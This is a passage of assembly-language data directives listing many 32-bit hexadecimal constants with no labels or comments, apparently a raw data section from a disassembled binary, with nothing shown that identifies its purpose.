0C7E41552h, 0C50AAD84h, 0C31A1848h, 0BB9ACB3Ah, 2901CD12h dd 0D21AC6CDh, 4A15F1CAh, 0EA454757h, 3ECB2419h, 0FB771086h dd 65145AE2h, 6B3DD6ECh, 8F0525B3h, 0A56A2951h, 4C11BD13h dd 0B087E6ACh, 875E8974h, 7AE1559Bh, 0A912E606h, 7863C863h dd 52D69D0Bh, 3C4F4B40h, 0CAB04F40h, 0D4442695h, 0A6747500h dd 0CE875583h, 4EB4519Dh, 6ACEDA13h, 55423C26h, 612B6D2Ah dd 0CA225F02h, 15C60BE8h, 2EEFCB04h, 0F4966DDh, 0CC7B774Ah dd 2A8B44D4h, 9AF8B5F7h, 0A047CD5Ah, 5953D22h, 2C39E157h dd 960AC58Bh, 8C046D3h, 5CF1AD4Bh, 7F7513ECh, 1B676636h dd 81253E57h, 0C72A7AB8h, 3587BB1Eh, 31CB3037h, 676C5422h dd 3295E494h, 0DEC62A0Bh, 0AFB7E9CEh, 0CBF5AB10h, 789E968Ch dd 33EADBA9h, 7A6D7988h, 0C9425489h, 751B9A0Eh, 62A728DAh dd 2428BAEFh, 27EBE33Fh, 0B3F42608h, 8648830Bh, 4311D1D2h dd 852ABD9Fh, 0BFAC259Bh, 0AE08CB23h, 1A172EB3h, 10624420h dd 509D5C40h, 0F53FFCEBh, 130FC585h, 97E64542h, 0ABDDF649h dd 6B990DE9h, 3DC631CDh, 87DA7BC0h, 0CAEE06BAh, 7BB2FFEEh dd 2A14193h, 171494BFh, 2196D339h, 175FF4Bh, 58F832B1h dd 0C30AEBF6h, 14A810A8h, 29C6A394h, 721BCE7Fh, 0E7EF89Dh dd 0BBF0E8F9h, 650EB4CBh, 56B2FDACh, 37301EB0h, 98A6AA74h dd 0E55CED00h, 0F1320B5Ah, 0D33C7303h, 3976C419h, 0C5E78037h dd 23BCDF7h, 62E2CD50h, 0BBEE150Eh, 0A412B8B0h, 3A54B388h dd 0EF671085h, 34EBC15Ah, 5F4EADB4h, 1D8FE13Bh, 7DB7C042h dd 0FA11F943h, 467FE974h, 0A654C9Dh, 3E955246h, 6EC5B2Ch dd 1D617152h, 7C33ABFEh, 0AF83B7CBh, 7FA1290h, 0D4004671h dd 0BA15968h, 0C8CE6EE3h, 47699A22h, 9DB5FA13h, 17334590h dd 34FD36D2h, 232B3B02h, 0B24556E0h, 76F6D1D1h, 0D0C195F5h dd 37D4E51Ah, 424F8867h, 10D89D0Bh, 0E2DC37B1h, 3B9324CDh dd 0BB1AB8A8h, 0B724845Dh, 527F11F6h, 0BBDF539Ch, 9EBFB831h dd 0A19ADA46h, 821EFEB8h, 20DD0611h, 487C027Fh, 0F3AD0BE9h dd 1D969418h, 471AB704h, 3C4DD72Fh, 0ABF0684Fh, 0C24F046Ah dd 782AD3CCh, 296B3AE6h, 2EA4109Ch, 0DD1D1266h, 0CD6A3336h dd 6E42D184h, 29CEBCC9h, 7A4B69DCh, 35EF6A84h, 6D76BB8h dd 9A6E905Ah, 0DCA57A74h, 0CB0D2B4Fh, 2B655798h, 30EC5DF6h dd 9369CDA7h, 4A872A35h, 3C954752h, 0A156401Ah, 3F75EF02h dd 900E2E09h, 20F39704h, 0B7CBA6B9h, 78DB9552h, 0BB187C4Fh dd 4A819295h, 3D2CC367h, 0AC81478Bh, 0A16E5965h, 1B01BD27h dd 0A3C467C3h, 0A0A182C4h, 8147CDD3h, 72FECB64h, 0F35C374Ch dd 7229BDA6h, 0C8AEE2FDh, 0A6056DA4h, 507434E3h, 717D6639h dd 0A9A08900h, 0E51B032Fh, 14714CD9h, 856A9D17h, 26A75593h dd 62C14A0Dh, 19E14D0Bh, 0F7F3E2C1h, 4391E636h, 0CE97B46Ch dd 92A6B3CAh, 32AC97E9h, 8F8B4D09h, 2492AF9Ch, 343EA6B2h dd 844407B8h, 7D110538h, 0B383FCECh, 9249FCE5h, 6C96E806h dd 0F518AA7Ch, 376CC9Eh, 1CBBEA46h, 358FA267h, 0FB50CA56h dd 47B2CF32h, 0F35E6AEDh, 6536D518h, 0CD6895E4h, 0E18A1038h dd 0A7B22152h, 7544F761h, 0B152B6B2h, 0F1A254EEh, 766D7DD3h dd 45FFE9C5h, 0CBE0A162h, 270604D4h, 4B9D22F7h, 9D5AE04Dh dd 0C25D9ACAh, 0D8B2FD23h, 999E1780h, 0AB92D3DCh, 0A47ACFFCh dd 0D7CE4416h, 40F6DAAEh, 9BD30646h, 2110770h, 8C973C0Fh dd 53289AC1h, 67E9FC8Fh, 94C2A6E7h, 96D73931h, 0AE631C4Bh dd 3E8768F2h, 8968BFA1h, 0EC823CCDh, 799914EFh, 4AE5A143h dd 32B0CAECh, 481D318h, 0B5BEF4E4h, 0A6817A4Fh, 0CF6E738Fh dd 83E3DDF8h, 74FFCCD3h, 844DEE87h, 74970470h, 22058B67h dd 7B6F5A91h, 98D531A5h, 8F1559A0h, 6B1BE8ACh, 7D0B0599h dd 91D3D402h, 1B01E5DEh, 321513EEh, 85F6CDE8h, 0B6D873B6h dd 0DC297A45h, 8A0EF8E2h, 835B468Ah, 3AE442DCh, 0D3FBF687h dd 42595A75h, 0A7F091BFh, 9854B69Bh, 4DF237A9h, 0AAE4B19Fh dd 7E5EFE0Dh, 0DA30C24Bh, 5817F413h, 62053CFBh, 963030AFh dd 0E48E2DC6h, 305D0EF7h, 0ED9A24B8h, 25C42B2h, 925EE67Fh dd 0B716159Fh, 0DF7D54DAh dd 5D9C5C08h, 0E618CC26h, 0C0659AE7h, 0E13AB5D5h, 0ED1F4C3Dh dd 0FD28E2C7h, 140F4E40h, 0DD0DD5D4h, 2553DA40h, 62DB90E5h dd 1C1CC8BFh, 0FCDAA18Bh, 0AE1526F2h, 2AE4102Eh, 0D912C0A7h dd 0D19DC6E7h, 0CB236D77h, 530A05BBh, 715DD4CFh, 1A585D37h dd 7ECA6B25h, 4EE58143h, 3EC2028Ch, 0EB8623D4h, 0D17E33EDh dd 0EA00BD45h, 44C2E0DEh, 0E762BFEBh, 76ADF7D9h, 31A569D5h dd 0B7526A15h, 0AB25CAA4h, 0DDE07BF4h, 67EE4DDBh, 0AE98DA49h dd 742E052Bh, 7943B321h, 196F2185h, 0C080C349h, 859393FFh dd 0B963DA3Fh, 669B42B0h, 0F2007A15h, 0B5064F79h, 0AD5E30C9h dd 9F68C791h, 0F6EC600Eh, 0D46172F7h, 68202EEAh, 389EF4Bh dd 82479422h, 0A801068Eh, 0BDDD8A3Dh, 0DE46937Bh, 0B19FBC35h dd 8AD5B1FBh, 0D3BDB7D8h, 50093AC5h, 91FAB74Bh, 0B8055EB3h dd 183C7D99h, 0C33F74EAh, 0AE28A31Ah, 0DF23E865h, 1BC1D582h dd 1A6ECD59h, 0AD8090Eh, 0C5B331FDh, 54C02A8Dh, 80A7107Fh dd 157E2819h, 3FF4DD2Ch, 85F6DAECh, 0F2269E5Ch, 0F12A7AAAh dd 48E53BF9h, 0A43B3347h, 0BCEA154Bh, 194D246h, 1A614D6Eh dd 0DD36D84Eh, 1EE66ED2h, 9EC594E6h, 0D4F1B22Ch, 0BDD7D302h dd 0DB353268h, 16CB62F9h, 165E500Bh, 0D7CFBB4Fh, 968C732Dh dd 98AE8000h, 1A071500h, 0B3475A5h, 0A539BDF5h, 30528016h dd 28600B67h, 2B7C2F7h, 0C59BE166h, 0ED0111EEh, 7F07B6DDh dd 0EA84B31Ah, 745743D4h, 82D45AF0h, 28829357h, 2BCF0190h dd 9C7F2EFEh, 0E8CABD59h, 2C87ABF9h, 9EEBF02Ah, 0DA0F1043h dd 0F494DA8Ch, 3CFFB8BFh, 31F848EAh, 0B6D9A101h, 0D57FCFCCh dd 0A0545101h, 17ACAAADh, 7D4B013Fh, 0BBC627A1h, 66B7BEBDh dd 5A943526h, 5B45FB35h, 4625808Bh, 0E2B62CDBh, 0EF9964D1h dd 0E4C60309h, 2805579Dh, 98E52101h, 0FAF10307h, 0A1B64F6h dd 0A3ED15EFh, 6EB54A46h, 0DFF61525h, 0AEB72B0Ah, 43C82E01h dd 0B078586Eh, 318A2017h, 0F3DF01BCh, 0A365F210h, 830AEA58h dd 0DA2AAD26h, 0DE0F0C6Ah, 0FC613F61h, 8D9503Dh, 0FFFBC996h dd 0BC3A7CACh, 9E8885A0h, 0C0077C4Bh, 59E619EFh, 8928D837h dd 0B001C43Bh, 4E16180h, 0D609ADD6h, 970F712Dh, 4D908200h dd 6E11A41Eh, 0C8BD51ACh, 0B8CB640h, 8F0757E9h, 3AD36C23h dd 926C68C7h, 9F3F96F1h, 3CC092F1h, 7850FF26h, 3927C7CFh dd 0DAC99B85h, 31CFE479h, 0E0017468h, 0B7432265h, 0AB0FF9F5h dd 0E6CC79C0h, 0D3A7B9F5h, 0C4A98DD9h, 0D0867CAEh, 72A0E788h dd 25D4DC06h, 0B426DC42h, 0DB2FF983h, 0CA27BF1Bh, 5B871EFAh dd 0F6B47D8Dh, 0A67EFD5Fh, 0ED512838h, 955D7CC8h, 515485A4h dd 0E5AB8DB0h, 0F91D8E7Dh, 6DB72428h, 70536CA5h, 0B1C271C4h dd 87074626h, 0F8B34C33h, 0F16C56CDh, 3CA7752Dh, 91D592DFh dd 951833BCh, 0AA730E5Fh, 499734D5h, 0DFFBA280h, 6765DB3Bh dd 82A1A52Dh, 1FFF3639h, 0B3E6B3AEh, 3E6CFC90h, 56909ED5h dd 7C375F1Eh, 0A718DC44h, 15DD2574h, 0A816E01Bh, 0BC3AF5FEh dd 719CC0C2h, 0EDBA079Bh, 859C9DDh, 73B2391Bh, 0F1F3D791h dd 1704D097h, 8BC7BA86h, 0A35A2298h, 9A7F73DEh, 0B4749ABEh dd 0E5349756h, 0F53652B1h, 41B6BC27h, 69F6F734h, 2115A11Fh dd 9BEA315Bh, 0DEF5D941h, 0C1034024h, 76A8118Bh, 0E6C39BCBh dd 2D03F5ECh, 7AAEAF31h, 52E762D6h, 655F05F8h, 0E259F4CDh dd 0FBF5002Ah, 74EF297Dh, 0FBEAF3A9h, 5AE71A9Bh, 57FF9582h dd 36B39758h, 2F87C782h, 76E8CF20h, 0D74B878Ah, 15A8F4D1h dd 8D5DC934h, 35121874h, 17CBB591h, 0DC6A8DA3h, 9E5CECB9h dd 99EE98Bh, 9B02EC9Dh, 0B248F84Eh, 0B2BCA580h, 0B94AC46h dd 5109290Dh, 41BB2808h, 4151CED1h, 0A383E45Dh, 665ECD4Dh dd 2992D0C7h, 0E77B9989h, 6F12F32Bh, 0FF34DD8Ch, 33C4E2Dh dd 0EB1753Ch, 14E281A0h, 0E87CF611h, 9EA13E72h, 221CC8EBh dd 9D81EC58h, 0CB75AF92h, 0B370D162h, 0BCF81775h, 8E57513Ah dd 76E39DC8h, 9823F746h, 8F522D82h, 5D13080Eh, 622494DFh dd 2A043762h, 9D88539h, 4E89078Bh, 66EBC914h, 0ECCDD299h dd 112437Bh, 1C6CE316h, 41BF3798h, 1BE6728Dh, 0EBD24C43h dd 0C607946Dh, 0CB5F477Eh, 2D27CDE4h, 4E364965h, 7B8DF665h dd 1F14DAFDh, 93BCD75Ch, 891FFB18h, 82B795DCh, 0EB83F24Fh dd 7C5A185Bh, 0E7394B99h, 729125C8h, 0F6ED1A9Eh, 6E660C65h dd 3CFE588Fh, 0E24A1CD1h, 72381692h, 86092BC0h, 0DD65C905h dd 0C83EFDB3h, 94409C4h, 0C6DF10BCh, 6749F82Eh, 3CC8170Bh dd 587A3817h, 0FFDC534Ah, 0B3A076DCh, 672DF2ECh, 0E220E864h dd 7E2AD992h, 2E28BFBBh, 0E172E6C0h, 7059B8EAh, 2167B78Bh dd 2DA1D3EEh, 95455D49h, 7931571Ah, 7C7CD649h, 84C21DD0h dd 16103718h, 6AEB401Fh, 0EEB19C38h, 8769B67Ch, 0FD6FB92Fh dd 1241B858h, 7E9AF41Ch, 0A6899646h, 0DDAEE3AEh, 0DB21AD57h dd 88DBA9Dh, 0E78C44CEh, 0BDC1976Eh, 0E81CD6E7h, 85CF58ACh dd 9A816E39h, 0C234EE8Bh, 9C2DC582h, 0BE44F309h, 0E3ED8D7Ch dd 73BD774Ch, 0F4898865h, 93AE5A02h, 0F52CB2BAh, 0E941CF9h dd 0E7A5A880h, 0BC004B0Eh, 0F2BC4D8Dh, 0A50C4E0Eh, 0C8B9A802h dd 2BD32820h, 885B68B1h, 0EC84CD30h, 0F685C40Ah, 55EF7CEh dd 0A964F89h, 291955Bh, 0FE00F00Eh, 76895273h, 0D3001C95h dd 8EA37911h, 410966D2h, 178EC4B1h, 8D994EEBh, 0CA8358D1h dd 61FFA26Eh, 5378FCBFh, 1128FB0h, 0CFBBB900h, 0FBC34A8Eh dd 1D7944D1h, 24430CE7h, 0EFB46C5Fh, 2BF0A899h, 9CFF0322h dd 0A3FB64E8h, 0DDE371C1h, 61C0A881h, 365F5461h, 562EF63h dd 0C34BA6A0h, 0F031D236h, 6A2342EEh, 60DB0391h, 0EFE1CD04h dd 6196ECBFh, 77B19E3Eh, 639F3748h, 661A0BFCh, 0D7E33443h dd 0E7FD3BC1h, 0CA6714A0h, 71F58B75h, 2BC604C5h, 3A708385h dd 2D91E1B0h, 0BCCC4832h, 3A2549A3h, 81F8E62Ch, 0E1C45A0h dd 0D3D01EE7h, 9D2BC182h, 0F3590B5Ah, 20F10194h, 0FE522A19h dd 22C73DBEh, 4F64E205h, 9241F050h, 7CE41954h, 0ECA8A7E9h dd 28AC1808h, 814FECF9h, 0C5CE61C9h, 0EF7777F9h, 36C64ED4h dd 0DFD0653Ah, 6588DDFCh, 7AE51129h, 94A572C4h, 0B8964338h dd 0CE096409h, 81D60C39h, 0E38AEDAEh, 5B62E2Ch, 4DF8165Dh dd 7BDF975Bh, 0F6C7E03Ah, 0C80B1A1Eh, 3DAD2C02h, 236AA0EDh dd 5FC0092Fh, 9ABE7381h, 0C3539D63h, 4148C6E8h, 0F036A6B1h dd 7446E9F4h, 7FEEB263h, 6DA66861h, 3FDC79EFh, 515BB1ABh dd 4D301D4Ah, 22C8B06Dh, 1FEA9432h, 0D798D05Fh, 74972F19h dd 0CD67044Ah, 7B8F0CB7h, 327044Bh, 0CD5E40E9h, 4283132Eh dd 0C94E50ADh, 0A7ECE47Ah, 2A0768Bh, 0F6A7F37Ah, 337757D2h dd 433C93D7h, 0A2CB7101h, 0D43A5E0Dh, 7D6D9E78h, 0E196E943h dd 0CCAA712h, 50BF3A6Bh, 15DA57AFh, 0E73E0493h, 0C375FA67h dd 0D5D7CEE8h, 0E8FAC30h, 73B1280Ch, 41C63DE1h, 82628B65h dd 83655A9Ch, 72C4B2B9h, 7FDA71C0h, 5873A886h, 0BEBDA303h dd 0D086EF90h, 0F2EE65CDh, 86605FF0h, 84C18D1Ah, 1D12B2Eh dd 189A0D1Dh, 0FAF63DD5h, 0A0E2992Eh, 0BA93A86h, 0A6BE49F1h dd 557325CFh, 5C893EACh, 330464Dh, 8EA175E9h, 0A338140Ah dd 3B518325h, 9839C08h, 9ACD35Eh, 5D6F3CC1h, 10577D80h dd 666BB802h, 0B76BAA0Bh, 6A81AAEFh, 0E65B20Ch, 2C2EE5C2h dd 83B7F27Ch, 8AA4618Ch dd 0E89652FAh, 72223636h, 3A327FFFh, 0E2550F89h, 2B0C58B4h dd 0EF071158h, 0A35861CFh, 32B1D382h, 0F93314F3h, 7CE2543Ah dd 0FC6DAB61h, 3C8B61A8h, 2CB57285h, 0FD2ABF85h, 9651F3F6h dd 0ABAA2C3Eh, 0A34C254Dh, 8330764Bh, 8EA115EEh, 0EB7E5308h dd 4AC1DE35h, 0C8081643h, 0F211A826h, 5670A08Bh, 5E1708EFh dd 0D1B42883h, 993CC04Ch, 0BD69C928h, 0E1F5B4B8h, 2D154112h dd 2F8A278Ah, 0ECA6A263h, 21F4F5F8h, 2628B2BBh, 22452483h dd 0A9E54779h, 413F2E89h, 89136DEAh, 0E93AA13Dh, 4790FE74h dd 4506A403h, 2BA4805Eh, 0B5E1CE59h, 0F4D340BEh, 494927B0h dd 0CC96476Bh, 32147531h, 8B7A1C4Fh, 0EC04504h, 0F2589EC1h dd 8FDC21C6h, 9C341E06h, 381FE6BEh, 0E5DD46FBh, 25A045B6h dd 9AC7CCB6h, 3F29F7D0h, 668BB2C5h, 51855308h, 7C3A336Dh dd 0D8DF8A5h, 771575C1h, 0B83EB680h, 72A5010h, 0E0DE265Eh dd 0AFD4CDEBh, 0C2552CD7h, 61523B78h, 0B53F0E3Eh, 35D2EF7Ah dd 0D6D6C6A2h, 87800E66h, 85820CE2h, 0A1AE971Eh, 0FE133E91h dd 9EB4BD6h, 0CEA19B45h, 0B896514Eh, 36D4F2ACh, 1E7AF752h dd 97026AB9h, 0ABBDE4C6h, 715F4787h, 0A2379A87h, 0BD168E38h dd 0F8702146h, 0D83D4F12h, 0E806B6E4h, 289A90EAh, 9964B239h dd 0D68F968Bh, 7819102Fh, 0F71A53A5h, 9AEA4D81h, 0B678F891h dd 113FD9Ah, 17C9218Fh, 805F4D54h, 582D15FBh, 95E1473Fh dd 113CFC0Ah, 0D97F55E6h, 29CA7124h, 7CB8BF85h, 41402913h dd 0A426EBFEh, 0FFF7B318h, 796BA19Ch, 435E652Dh, 0B7D5CF7Ah dd 6D6E9134h, 0D7453563h, 63779D3Fh, 0C3E05451h, 3AD57714h dd 2B1B04EAh, 0F4CAEF71h, 7277B6AEh, 406C23A1h, 0D52EB66Dh dd 28814747h, 1394D6B9h, 305E7D37h, 0B1186C17h, 60324B9Ah dd 3815A450h, 0A33366F6h, 0FAA7970Eh, 8AAB04A3h, 0CC5FC927h dd 75D3D9BAh, 163A3DBCh, 0D789B4FBh, 6103658Bh, 0D7244E5Bh dd 0FB84A8C8h, 65EF71F3h, 0DCEA3101h, 7211EED2h, 0E9C8FD15h dd 93F86ABAh, 0A8397BC0h, 7E797380h, 7850004h, 0B3220EE0h dd 0C83B385Eh, 0D0FFDC4Eh, 76C8575Bh, 981D63B6h, 8DAD029Bh dd 0AD34E4Eh, 3704495Bh, 92E604B8h, 0D174D8DEh, 0B46188CEh dd 90014E47h, 0D41D21D7h, 0C145A27Eh, 4D8719E6h, 7BB78CE6h dd 8FDE57Fh, 5357E245h, 4A61907h, 726C3D02h, 3C70B4E3h dd 0AEFB100Dh, 0F73F13EFh, 0F01EA992h, 651339E6h, 6AA467BBh dd 0D9EFA0CDh, 860E0969h, 0ED5E623Dh, 15D87CD5h, 7613A1F5h dd 81A15722h, 1CA8F90Ch, 86B5AEC7h, 0FB41181Ah, 3F55E112h dd 7D42E361h, 757F9B0Bh, 65775991h, 60A9C353h, 0CF1D882Fh dd 46B30DCBh, 53416475h, 7B2E776Bh, 478DC8A9h, 431555A7h dd 6A303DA0h, 47583815h, 0A116B637h, 0D357223Dh, 3EA11A00h dd 6C76B24Ch, 4808B8F5h, 86479DC1h, 28FA2F96h, 4B448969h dd 9AB46D43h, 4A6CE4DEh, 52BD9AE9h, 0FE66E8C1h, 1A610FBAh dd 29145500h, 0A85F4BA2h, 0AFFD47C4h, 2DC79C7Eh, 0C60FD13Bh dd 7641C7F1h, 1489B64Ch, 0F0C4360Dh, 0F004EA56h, 0FD0F2B92h dd 5070B674h, 0FA1DE338h, 0DDD87638h, 2234A189h, 6CD68398h dd 0FD1A775Bh, 0F2D49CC8h, 318743D3h, 0D53CE072h, 0F7B6184h dd 0C3BFB5BDh, 62466DD2h, 6815E577h, 0BE142BE7h, 0FC600007h dd 703D1ECh, 0C4AE6988h, 0DF49A577h, 6BA4EE52h, 4A049FAAh dd 6670E702h, 0D545094Ch, 0C064697Ah, 2D70A50Ah, 52C17331h dd 93088261h, 3F02C1C4h, 7761E4BDh, 0D75461E5h, 995C5E56h dd 397BE9F4h, 0E9D12F12h, 2F773C04h, 7D94F18h, 0F127FCB8h dd 0CE514782h, 8578911Ah, 12A1132Eh, 5E8D82Ah, 467845A4h dd 0CC88C03Dh, 387AA144h, 0C5441D5h, 3D924DC5h, 0EDE20761h dd 203A171Eh, 0FC681800h, 15D67EEEh, 1E28B661h, 44F0EC32h dd 0DE611441h, 7E14DCCCh, 0D876F051h, 59F470BAh, 0C8BBD36Dh dd 0A371FE0Ah, 83EFC8D0h, 0EF368E46h, 8006F2B0h, 0AB83EC7Bh dd 2CCA2B6Dh, 0F59DBC46h, 0C9FD62C3h, 0D463D22Eh, 4D97A22Ch dd 61B0BCDCh, 9A3834CBh, 19B0A86Fh, 0F0F62B3h, 49251029h dd 792481A9h, 4BBE5ECDh, 91AB9E07h, 0A8730EBEh, 3FD5B8C8h dd 35B215E7h, 0ADE098F3h, 0C2F3BF9Dh, 9C1CF2FFh, 0C07393E7h dd 0A76E33ECh, 4DA87E9Ah, 409A9467h, 10968h, 0D240F03Eh dd 33E8703Ah, 5116D045h, 2EBC20AEh, 1B8DF9F8h, 0EC6FCD06h dd 0FC13093Ah, 0DCECC80Eh, 0F3A4D941h, 856149FEh, 8BE617F8h dd 0F598DBBDh, 6BE5424Fh, 5EDF066Dh, 89618201h, 5A1C9FECh dd 7A3E6012h, 6E06076h, 0C297B5B9h, 0B24014B5h, 0DD5B0F61h dd 934BDF39h, 7BAD34E0h, 3DAD24A7h, 8A0E2300h, 0AD8F88E6h dd 6060F805h, 28BBC447h, 0BE347F1Fh, 5C7E162Ch, 0E61E171Bh dd 9E9C886h, 53647229h, 0EEB7E447h, 741A3A6h, 0F8D82E7Ch dd 0BBA757C4h, 0D248B267h, 9D06D635h, 844057EAh, 79215E14h dd 799FEBD1h, 0E5D5471Bh, 1D172F2Eh, 0EA00B5FDh, 0CF248760h dd 49E47422h, 0DF9B9BEBh, 7E79007Fh, 0D4B573DDh, 714BC58h dd 32FA422Ch, 1E794DCDh, 70A6776Bh, 0EE5B7BDh, 0E24BF3BFh dd 0F9612D76h, 2B248CFEh, 5CCD1F13h, 0A35439FBh, 0A729EEF0h dd 4529F92Ch, 9B666A5Fh, 8DE736E1h, 37771F64h, 7A6435ADh dd 2BE87A95h, 0FA69ADF5h, 39C4A046h, 8A8BD878h, 0C613FECAh dd 3140880Ch, 0E8DD65EEh, 65422579h, 0EAD5FFFBh, 8CC5A6DEh dd 0A0266712h, 6CBCE5B8h, 0F2B28B45h, 3B441090h, 0D8BE7C1Dh dd 54358054h, 10144764h, 0C07F1712h, 0F2F454BAh, 4F3C6E78h dd 0A0C1F7B8h, 865795B1h, 5BA5576h, 0C1DF5E4Bh, 0B599283Dh dd 0D75BD61Ah, 0A709CAC4h, 45030124h, 0F80EFA7Eh, 56E7C90Fh dd 0B87571F0h, 815A69C0h, 12D9C37Ah, 4B00AFE5h, 59E45FC4h dd 56CFC034h, 0AED3CECBh, 87BF5906h, 65F1E95h, 9A18B39Eh dd 3DB5E81Ch, 0A59E97C5h, 0B51E8A6Bh, 68910DEAh, 0E700787Fh dd 3E9F47Ch, 12E991F8h, 66E5840Ch, 7D911F18h, 6D785D6Eh dd 0F1C0CEE8h, 5D6CE004h, 0B3BBDEBDh, 0D823113Ah, 5217437Eh dd 0B956E048h, 0D8B72FF6h, 287A16E8h, 25D2D30Dh, 0A96CC1CFh dd 575A6A4Eh, 7BE6C9FEh, 0CFCE9864h, 717E763Eh, 0EFD4198Ah dd 0B69BB1F4h, 867B67C5h, 0DDD6A5E3h, 732212Ch, 86BCC38Bh dd 67A7954Eh, 0DB1F480Eh, 261512DFh, 4A985A01h, 9F08B00Fh dd 0B3569D6h, 0B8238C4Ah, 8611B3B4h, 564137A7h, 0BAE92836h dd 0FDEB81AEh, 0C84A5A29h, 4BE394FAh, 284D18BEh, 0A84F83C2h dd 0E5B1EDC4h, 85DEAE52h, 0C01752ECh, 94298157h, 7F7B3601h dd 4A32AA46h, 77796C66h, 0FBB715A1h, 0C21A3E59h, 92F44270h dd 0AEF053C0h, 9F5D287Bh, 0E5884C0Ch, 71B498E2h, 2EB48077h dd 0AB6A0876h, 0C2BF2863h, 0D9A65DC6h, 23DD3399h, 0FE63E226h dd 0C69ED1EEh, 8AAC4D71h, 6341856Ah, 6CFBA1CFh, 28F43F68h dd 37FA21Bh, 0C103F0B7h, 880589AEh, 0FE630EFCh, 86B981DAh dd 0EBBD6779h, 4D465Ah, 5D5C10B1h, 0DF0A8FAh, 0D5808664h dd 772727C3h, 9A6B04C2h, 0A5B56180h, 0C826F90Ch, 4B606A17h dd 2B91091Ch, 0B483AF16h, 57E1773Ah, 94899E5Fh, 0D3F080BCh dd 0CDADCD67h, 8F4BDB2h, 23C1C4E8h, 80BFF79Fh, 0F8D41BC7h dd 7DB1481Eh, 2DE0CCA6h, 94518B77h, 0ADB215C4h, 0A86EC210h dd 1D26CD8Ch, 20AE562Eh, 7CC5D672h, 6E9BCF29h, 0F3E31101h dd 0F406EA6h, 0ED7F504Ch dd 0EFBCDB44h, 0C64D5648h, 22487C7h, 0ED0936E6h, 0F4FA370Ah dd 0D1894808h, 171E0CEFh, 81E1DE01h, 28F579FBh, 0ED170DFAh dd 0DC255651h, 0C4004356h, 51AAFFC0h, 1D11A7Bh, 247548E2h dd 339B6FD9h, 55CB445Dh, 4D6E9877h, 0F637E867h, 2DC398Dh dd 3632B26Bh, 3E89E8B7h, 9B76A547h, 3F009C72h, 6E17E869h dd 41E2628Fh, 3FD13426h, 4B85A4DFh, 0BCDF38BEh, 0F2EB9D31h dd 0B6FEF3Fh, 0E1DB506Eh, 92B0DB04h, 9C4DA76Dh, 5DB3B1D0h dd 52C2F055h, 0BFE80BAFh, 7EE2D8F6h, 4E4599F7h, 0BD0C5394h dd 5D8FD5FCh, 0A7167B7Bh, 0DC2D2D9Dh, 0B2BA9A81h, 2EB8D23Ah dd 1C099885h, 0F0D06280h, 3CD439C1h, 0AF9C524Fh, 14FC9ED8h dd 0F77A413Eh, 0D82B6ABFh, 3205CF57h, 52FF65B7h, 8B876129h dd 1ACA438h, 3120FF69h, 988B9C3Fh, 0D895B1C6h, 6C03126h dd 0C6983043h, 8EFC2A06h, 8484ED0Eh, 350D941h, 9B3FAF7Dh dd 2FB634FDh, 0BD2E0B05h, 6CA6F6B1h, 0C0315753h, 3D2F297Fh dd 0E8E391CEh, 0A595E6F1h, 8DE2B3F4h, 91E9EA1Fh, 0DC3602DCh dd 5BAE1AD6h, 499D0FCEh, 628B667Bh, 0E0A52F7Bh, 24DB77C2h dd 54535D35h, 4B09D7D1h, 69C868E3h, 1566275h, 2E2BB269h dd 2129E8B7h, 0BB9EA599h, 0E2B74C38h, 95710074h, 0E7679DF4h dd 8519E156h, 0D27FA4D1h, 0BD23B99Bh, 821D0F0Eh, 0F678ED94h dd 398A3E5Ah, 0C7BD22F1h, 398E47C9h, 225B8A4Eh, 6AD6808Fh dd 0CA48D2FEh, 0FC10A40Ch, 63337A08h, 5A4A96E0h, 764CAE67h dd 15602DEFh, 27A40A9Dh, 0B83232D5h, 0A21C3DCAh, 31CE95D4h dd 0EFE7EDFBh, 3D060189h, 26A4624Fh, 0ADE403ABh, 6CD6D898h dd 18D41EA1h, 0DD27341Dh, 0A199D7CDh, 58291293h, 0E56C4397h dd 0DDE4509Eh, 67946171h, 5D66BEF8h, 77BFBCE8h, 0BAE1BD8Eh dd 58EB856Eh, 596CEC73h, 0F9442BBDh, 0CFBC3D7Fh, 864D4D48h dd 82249FFFh, 1232DA67h, 0E3E496EBh, 732C9DEBh, 4674A9F1h dd 0B26536CAh, 9D0B58FCh, 9761B3A7h, 0DC3031C1h, 6074F5F9h dd 6E6C8545h, 8B5070C4h, 1F7B4376h, 265903C1h, 0A8CB7A4Bh dd 0A9F53D21h, 0EA379798h, 1AD325B1h, 0ECF5DFB2h, 55DC1748h dd 0AD35FBC3h, 1514112Bh, 74D2E51Eh, 9B2DCE7Eh, 0E9314DCEh dd 603C31DEh, 0C41BEF55h, 8CD7F3D8h, 67C999C9h, 8AFE5965h dd 0A5D176ABh, 0A0B24291h, 4AAE03CDh, 724D10C0h, 0CB563493h dd 6080EC60h, 0E8E278B7h, 0DFB6DFB4h, 0F72E5E63h, 0EEAEE0CEh dd 9269789h, 0C8430144h, 252DC805h, 8C2BFD87h, 0E3E42176h dd 89944FB5h, 54AB6158h, 0A3B5F8D1h, 82331339h, 627DDD14h dd 3D003607h, 0DEDA1748h, 0B18FF2CAh, 9FECB3A3h, 0D8D9006Dh dd 64B4EB9Eh, 0A6943855h, 93FA4D1h, 0ECE03F16h, 1C147A98h dd 10E8693Eh, 0B2B92BFBh, 8045A3B7h, 563BBDC0h, 42248546h dd 6DC619F8h, 0EC6C2F6Fh, 1B61826h, 0E8E2D957h, 26F0FD16h dd 14F71554h, 0ED14855Bh, 0B1259406h, 1D4D0105h, 0AEFE862Dh dd 45B79D94h, 0B839E3F3h, 0B0E7E30Fh, 0DEB61FA1h, 7FAD392Ch dd 0AF332867h, 0E9424E23h, 6B9B26Fh, 6D8BE8B7h, 44A9083h dd 66038844h, 0E7958550h, 1B596288h, 250D342Eh, 909A4D3h dd 0CD1BCF8Ah, 7B009DF9h, 0DA7F04E9h, 27DDD424h, 98C670F9h dd 970FC840h, 0F72484C9h, 0C584AB80h, 400FE89Eh, 88D12CCEh dd 579840D4h, 4A8A691Ah, 0CE08AAB3h, 122F77C6h, 12912C89h dd 141600E9h, 0AEA9F903h, 74DF3342h, 64FDF599h, 25BBCB52h dd 0DEF417E0h, 0D0794C2Ch, 90525E37h, 6A299E62h, 0A3E0CA22h dd 0FDF399A0h, 0FD94949Ch, 200B4C31h, 823E68C4h, 0BBC38D77h dd 8351B195h, 44316Bh, 0CD9B542Bh, 627C2A56h, 9B84ECC9h dd 0AABB2B3Bh, 4462CEEAh, 3337453Fh, 158D794Bh, 0EDD2C9C7h dd 7FE63F5Fh, 0DBD00820h, 17C742BEh, 6A9C5EF1h, 0C4516ABBh dd 0EDB46833h, 0AE9B3B46h, 